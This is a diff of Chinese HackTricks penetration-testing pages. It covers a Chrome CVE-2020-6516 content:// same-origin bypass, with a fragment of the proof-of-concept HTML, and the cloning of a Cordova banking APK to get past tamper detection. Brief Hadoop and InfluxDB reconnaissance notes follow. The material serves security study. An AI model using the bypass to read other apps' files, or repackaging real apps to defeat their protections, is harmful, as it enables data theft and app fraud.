Row: 85 _id=240, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/pps.whatsapp.net.443
|
|
||||||
Row: 86 _id=90, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/static.whatsapp.net.443
|
|
||||||
Row: 87 _id=706, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/v.whatsapp.net.443
|
|
||||||
Row: 88 _id=89, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/www.whatsapp.com.443
|
|
||||||
...
|
|
||||||
```
|
```
|
||||||
## Chrome CVE-2020-6516 同源策略绕过 <a href="#cve-2020-6516" id="cve-2020-6516"></a>
|
### Chrome CVE-2020-6516: 同源策略绕过
|
||||||
|
|
||||||
浏览器中的 _同源策略_ (SOP) \[[12](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin\_policy)] 规定,URL A的Javascript内容只能访问URL B的内容,如果A和B的以下URL属性保持相同:
|
_Same Origin Policy_ (SOP) 是浏览器中的安全协议,限制网页与不同来源的资源进行交互,除非经过跨源资源共享 (CORS) 策略明确允许。该策略旨在防止信息泄露和跨站请求伪造。Chrome 将 `content://` 视为本地方案,意味着更严格的 SOP 规则,其中每个本地方案 URL 都被视为单独的来源。
|
||||||
|
|
||||||
* 协议,例如 `https` 对比 `http`
|
然而,CVE-2020-6516 是 Chrome 中的一个漏洞,允许通过 `content://` URL 加载的资源绕过 SOP 规则。实际上,来自 `content://` URL 的 JavaScript 代码可以访问通过 `content://` URL 加载的其他资源,这是一个重大安全问题,特别是在运行早于 Android 10 版本的 Android 设备上,因为这些设备尚未实现作用域存储。
|
||||||
* 域名,例如 `www.example1.com` 对比 `www.example2.com`
|
|
||||||
* 端口,例如 `www.example1.com:8080` 对比 `www.example1.com:8443`
|
|
||||||
|
|
||||||
当然,上述规则有例外,但通常情况下,`https://www.example1.com` 的资源(例如一段Javascript代码)不能访问 `https://www.example2.com` 上的资源的DOM,因为这会引入严重的信息泄露。**除非跨源资源共享(CORS)策略明确允许,否则网页资源不应该能绕过SOP规则。**
|
下面的概念验证演示了这个漏洞,其中一个 HTML 文档在**/sdcard**下上传并添加到媒体存储后,使用其 JavaScript 中的 `XMLHttpRequest` 访问并显示媒体存储中另一个文件的内容,绕过了 SOP 规则。
|
||||||
|
|
||||||
需要注意的是,Chrome认为 `content://` 是一个 _本地方案_,就像 `file://` 一样。在这种情况下,SOP规则更加严格,因为每个本地方案URL都被视为一个独立的源。例如,**file:///tmp/test.html** 中的Javascript代码不应该能够访问 **file:///tmp/test2.html** 的内容,或者说任何其他文件系统上的文件。**因此,根据SOP规则,通过 `content://` 加载的资源不应该能够访问任何其他 `content://` 资源。** 嗯,Chrome的CVE-2020-6516漏洞为这条规则创造了一个“例外”。
|
概念验证 HTML:
|
||||||
|
```xml
|
||||||
CVE-2020-6516 \[[03](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516)] 是一个在通过 `content://` URL加载的资源上的SOP绕过。**例如,从 `content://com.example.provider/test.html` 加载的HTML文档中运行的Javascript代码,可以加载并访问通过 `content://` URL加载的任何其他资源。** 这是一个严重的漏洞,特别是在运行Android 9或之前版本的Android设备上。在这些设备上没有实现作用域存储 \[[13](https://developer.android.com/about/versions/10/privacy/changes#scoped-storage)],因此,位于 **/sdcard** 下的应用特定数据,更有趣的是位于 **/sdcard/Android** 下的数据,可以通过系统的媒体存储内容提供者访问。
|
|
||||||
|
|
||||||
概念验证相当直接。一个使用 `XMLHttpRequest` 访问任意 `content://` URLs的HTML文档被上传到 **/sdcard** 下。然后它被添加到媒体存储中,并以类似于前面展示的示例的方式在Chrome中渲染。为了演示目的,可以尝试加载 `content://media/external/file/747`,实际上,这是"Hello, world!"示例的媒体存储URL。令人惊讶的是,运行在HTML文档源中的Javascript代码将获取并显示 **test.txt** 的内容。
|
|
||||||
```markup
|
|
||||||
<html>
|
<html>
|
||||||
<head>
|
<head>
|
||||||
<title>PoC</title>
|
<title>PoC</title>
|
||||||
|
@ -100,19 +87,16 @@ xhr.send();
|
||||||
<body onload="poc()"></body>
|
<body onload="poc()"></body>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
**从这篇文章中获取的信息:** [**https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/**](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)
|
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客技术!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
其他支持HackTricks的方式:
|
||||||
|
|
||||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,96 +1,77 @@
|
||||||
# Cordova 应用程序
|
# Cordova 应用
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习 AWS 黑客攻击成为英雄,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
支持 HackTricks 的其他方式:
|
||||||
|
|
||||||
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
信息取自帖子 [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)
|
**有关更多详细信息,请查看 [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**。这是一个摘要:
|
||||||
|
|
||||||
## 基本信息
|
Apache Cordova 以使用 **JavaScript、HTML 和 CSS** 开发 **混合应用** 而闻名。它允许创建 Android 和 iOS 应用程序;然而,它缺乏保护应用程序源代码的默认机制。与 React Native 相反,Cordova 默认不编译源代码,这可能导致代码篡改漏洞。Cordova 使用 WebView 渲染应用程序,即使编译为 APK 或 IPA 文件后,仍会暴露 HTML 和 JavaScript 代码。相比之下,React Native 使用 JavaScript VM 执行 JavaScript 代码,提供更好的源代码保护。
|
||||||
|
|
||||||
Apache Cordova 是一个流行的框架,允许您使用 **JavaScript、HTML 和 CSS** 创建 **混合应用程序**(Android 和 iOS)。
|
### 克隆 Cordova 应用
|
||||||
|
|
||||||
Cordova 的一个主要问题是它 **没有默认的方法来保护** 应用程序的 **源代码**,不像 react-native 那样。Cordova 应用程序没有默认的方法来编译它,这使得代码篡改变得 **容易**。Cordova 应用程序使用 WebView 来使用 HTML 和 JS 渲染应用程序,即使在编译成 APK 或 IPA 之后也会泄露源代码,而 react native 使用 JavaScript VM 来运行 JavaScript 代码。
|
在克隆 Cordova 应用之前,请确保已安装 NodeJS 以及其他先决条件,如 Android SDK、Java JDK 和 Gradle。官方 Cordova [文档](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) 提供了这些安装的全面指南。
|
||||||
|
|
||||||
### 克隆 Cordova 应用程序 <a href="#8f50" id="8f50"></a>
|
假设有一个名为 `Bank.apk` 的示例应用,包名为 `com.android.bank`。要访问源代码,请解压 `bank.apk` 并转到 `bank/assets/www` 文件夹。该文件夹包含应用程序的完整源代码,包括 HTML 和 JS 文件。应用程序的配置可以在 `bank/res/xml/config.xml` 中找到。
|
||||||
|
|
||||||
要创建 Cordova 应用程序,我们需要安装 NodeJS。除了 NodeJS,我们还需要安装其他一些东西来完成构建过程,如 Android SDK、Java JDK 和 Gradle。您可以按照[官方文档](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building)的要求列表进行操作。
|
要克隆应用程序,请按照以下步骤操作:
|
||||||
|
|
||||||
以这个例子为例,我们可以假设原始应用程序的名称是 `Bank.apk`,包名是 `com.android.bank`
|
|
||||||
|
|
||||||
解压 `bank.apk` 并打开 `bank/assets/www` 文件夹。我们可以查看 **Cordova 应用程序的完整源代码**。所有 HTML 和 JS 代码都可以用来创建应用程序的克隆。我们还可以在 `bank/res/xml/config.xml` 中找到应用程序的配置文件。
|
|
||||||
|
|
||||||
现在我们可以创建一个新的 Cordova 应用程序项目:
|
|
||||||
```bash
|
```bash
|
||||||
npm install -g cordova@latest
|
npm install -g cordova@latest
|
||||||
cordova create bank-new com.android.bank Bank
|
cordova create bank-new com.android.bank Bank
|
||||||
cd bank-new
|
cd bank-new
|
||||||
```
|
```
|
||||||
现在我们需要将所有文件和文件夹从 `bank/assets/www` 复制到 `bank-new/www`。
|
将`bank/assets/www`目录中的内容复制到`bank-new/www`目录,但不包括`cordova_plugins.js`、`cordova.js`、`cordova-js-src/`以及`plugins/`目录。
|
||||||
|
|
||||||
当我们复制源代码时,我们需要排除一些文件和文件夹,如 `cordova_plugins.js, cordova.js, cordova-js-src/, plugins/`。我们可以复制所有文件和文件夹,不包括上述提到的。
|
在创建新的Cordova项目时,需要指定平台(Android或iOS)。若要克隆一个Android应用程序,请添加Android平台。请注意,Cordova的平台版本和Android API级别是不同的。有关平台版本和支持的Android API的详细信息,请参考Cordova的[文档](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/)。
|
||||||
|
|
||||||
当我们创建一个新的Cordova项目时,我们需要指明应用是为Android还是iOS。由于我们正在克隆Android应用,我们需要为其添加一个Android平台。在Cordova中,我们有平台版本,每个版本都有不同的特性和对Android API或Android版本的支持。
|
要确定适当的Cordova Android平台版本,请检查原始应用程序的`cordova.js`文件中的`PLATFORM_VERSION_BUILD_LABEL`。
|
||||||
|
|
||||||
Android API和Cordova Android平台版本都是不同的。您可以[查看](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/)平台版本列表及其对Android API的支持。
|
设置平台后,安装所需的插件。原始应用程序的`bank/assets/www/cordova_plugins.js`文件列出了所有插件及其版本。请按照以下示例逐个安装每个插件:
|
||||||
|
|
||||||
要添加Cordova Android平台,我们需要找出应用最初使用的是哪个版本。如果您使用不同的版本,您可能会遇到问题,因为我们正在使用相同的源代码来克隆应用。您可以打开 `cordova.js` 文件并搜索 `PLATFORM_VERSION_BUILD_LABEL` 来找到应用使用的版本。
|
|
||||||
|
|
||||||
\
|
|
||||||
|
|
||||||
现在我们已经添加了Android平台支持,我们可以添加应用所需的所有插件。在原始应用 `bank/assets/www/cordova_plugins.js` 中,我们可以找到应用使用的所有插件的列表。我们需要逐一安装这些插件。在 `cordova_plugins.js` 文件中搜索 `module.exports.metadata`。我们也可以看到所有插件及其版本。
|
|
||||||
|
|
||||||
<figure><img src="https://miro.medium.com/v2/resize:fit:1124/1*Hap3DmxS6-1apNj5RfpC3g.png" alt="Cordova Plugins" height="570" width="562"><figcaption><p>Cordva 插件</p></figcaption></figure>
|
|
||||||
|
|
||||||
我们需要使用以下命令逐一安装所有插件
|
|
||||||
```bash
|
```bash
|
||||||
cd bank-new
|
cd bank-new
|
||||||
cordova plugin add cordova-plugin-dialogs@2.0.1
|
cordova plugin add cordova-plugin-dialogs@2.0.1
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
如果一个插件在 npm 上不可用,可以从 GitHub 获取:
|
||||||
如果在npm上找不到插件,请在Github上搜索:
|
|
||||||
```bash
|
```bash
|
||||||
cd bank-new
|
cd bank-new
|
||||||
cordova plugin add https://github.com/moderna/cordova-plugin-cache.git
|
cordova plugin add https://github.com/moderna/cordova-plugin-cache.git
|
||||||
```
|
```
|
||||||
{% endhint %}
|
确保在编译之前满足所有先决条件:
|
||||||
|
|
||||||
要编译应用程序,我们需要确保已经安装了所有必需的条件。
|
|
||||||
```bash
|
```bash
|
||||||
cd bank-new
|
cd bank-new
|
||||||
cordova requirements
|
cordova requirements
|
||||||
```
|
```
|
||||||
一旦我们准备好所有设置,我们就可以构建apk。
|
要构建APK,请使用以下命令:
|
||||||
```bash
|
```bash
|
||||||
cd bank-new
|
cd bank-new
|
||||||
cordova build android — packageType=apk
|
cordova build android — packageType=apk
|
||||||
```
|
```
|
||||||
上述构建命令将创建一个启用了调试方法的apk,这允许我们使用Google Chrome对应用程序进行调试。在安装apk之前,请确保对apk进行签名。如果应用程序具有代码篡改检测功能,除非没有设置特定配置,否则将被绕过。
|
这个命令生成一个启用调试选项的APK,通过Google Chrome方便调试。在安装之前签署APK是至关重要的,特别是如果应用程序包含代码篡改检测机制。
|
||||||
|
|
||||||
### 自动化工具
|
### 自动化工具
|
||||||
|
|
||||||
[**MobSecco**](https://github.com/Anof-cyber/MobSecco):一个自动化克隆Android应用程序完整过程的工具。
|
对于那些希望自动化克隆过程的人,**[MobSecco](https://github.com/Anof-cyber/MobSecco)** 是一个推荐的工具。它简化了Android应用程序的克隆过程,简化了上述步骤。
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,51 +1,42 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
**信息取自书籍** [**网络安全评估 第三版**](https://www.amazon.com/Network-Security-Assessment-Know-Your-ebook/dp/B01N6E0BG2)
|
|
||||||
|
|
||||||
# **基本信息**
|
# **基本信息**
|
||||||
|
|
||||||
Apache Hadoop是一个开源框架,支持使用计算机集群分布式存储和处理大型数据集。存储由Hadoop分布式文件系统(HDFS)处理,处理则通过使用MapReduce和其他应用程序(例如Apache Storm、Flink和Spark)通过YARN进行。
|
Apache Hadoop是一个开源框架,用于在计算机集群之间分布存储和处理大型数据集,主要使用Hadoop分布式文件系统(HDFS)进行存储,以及MapReduce、Apache Storm、Flink和Spark等其他应用程序进行处理,通过YARN进行管理。为了与这些服务进行交互,提供了一组Nmap脚本,每个脚本与特定端口和用途相关联,尽管在文档编写时指出Hadoop在Metasploit框架中缺乏支持。
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (139).png>)
|
- **Hadoop的Nmap脚本**:
|
||||||
|
- **`hadoop-jobtracker-info(端口50030)`**
|
||||||
|
- **`hadoop-tasktracker-info(端口50060)`**
|
||||||
|
- **`hadoop-namenode-info(端口50070)`**
|
||||||
|
- **`hadoop-datanode-info(端口50075)`**
|
||||||
|
- **`hadoop-secondary-namenode-info(端口50090)`**
|
||||||
|
|
||||||
图15-1. Hadoop 2.0架构
|
|
||||||
|
|
||||||
您可以使用下表中列出的Nmap脚本查询MapReduce和HDFS服务(包括默认端口的详细信息)。在撰写本文时,Metasploit不支持Hadoop。
|
|
||||||
|
|
||||||
| **脚本名称** | **端口** | **目的** |
|
|
||||||
| ------------------------------ | -------- | ----------------------------------------------------------------- |
|
|
||||||
| hadoop-jobtracker-info | 50030 | 从MapReduce作业和任务跟踪服务检索信息 |
|
|
||||||
| hadoop-tasktracker-info | 50060 | |
|
|
||||||
| hadoop-namenode-info | 50070 | 从HDFS名称节点检索信息 |
|
|
||||||
| hadoop-datanode-info | 50075 | 从HDFS数据节点检索信息 |
|
|
||||||
| hadoop-secondary-namenode-info | 50090 | 从HDFS次级名称节点检索信息 |
|
|
||||||
|
|
||||||
在线提供轻量级Python和Go HDFS客户端。Hadoop默认情况下无需认证即可运行。您可以配置HDFS、YARN和MapReduce服务以使用Kerberos。
|
|
||||||
|
|
||||||
|
需要注意的是,**Hadoop在默认设置下没有身份验证**。但是,为了增强安全性,可以配置将Kerberos与HDFS、YARN和MapReduce服务集成在一起。
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,33 +1,34 @@
|
||||||
# 8086 - 对 InfluxDB 进行渗透测试
|
# 8086 - InfluxDB 渗透测试
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 轻松构建并**自动化工作流程**,由世界上**最先进的**社区工具提供支持。
|
\
|
||||||
|
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可轻松构建和 **自动化工作流**,利用全球 **最先进** 的社区工具。\
|
||||||
立即获取访问权限:
|
立即获取访问权限:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习 AWS 黑客攻击,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习 AWS 渗透测试,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
其他支持 HackTricks 的方式:
|
支持 HackTricks 的其他方式:
|
||||||
|
|
||||||
* 如果您希望在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧。
|
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## 基本信息
|
## 基本信息
|
||||||
|
|
||||||
**InfluxDB** 是由 InfluxData 公司开发的一个开源**时间序列数据库**(TSDB)。
|
**InfluxDB** 是由 InfluxData 公司开发的开源 **时间序列数据库**(TSDB)。
|
||||||
|
|
||||||
**时间序列数据库(TSDB)** 是一个软件系统,它针对存储和**提供时间序列**通过时间和值的相关对进行了优化。
|
**时间序列数据库(TSDB)** 是一种针对存储和通过时间和值的相关对提供优化的软件系统。
|
||||||
|
|
||||||
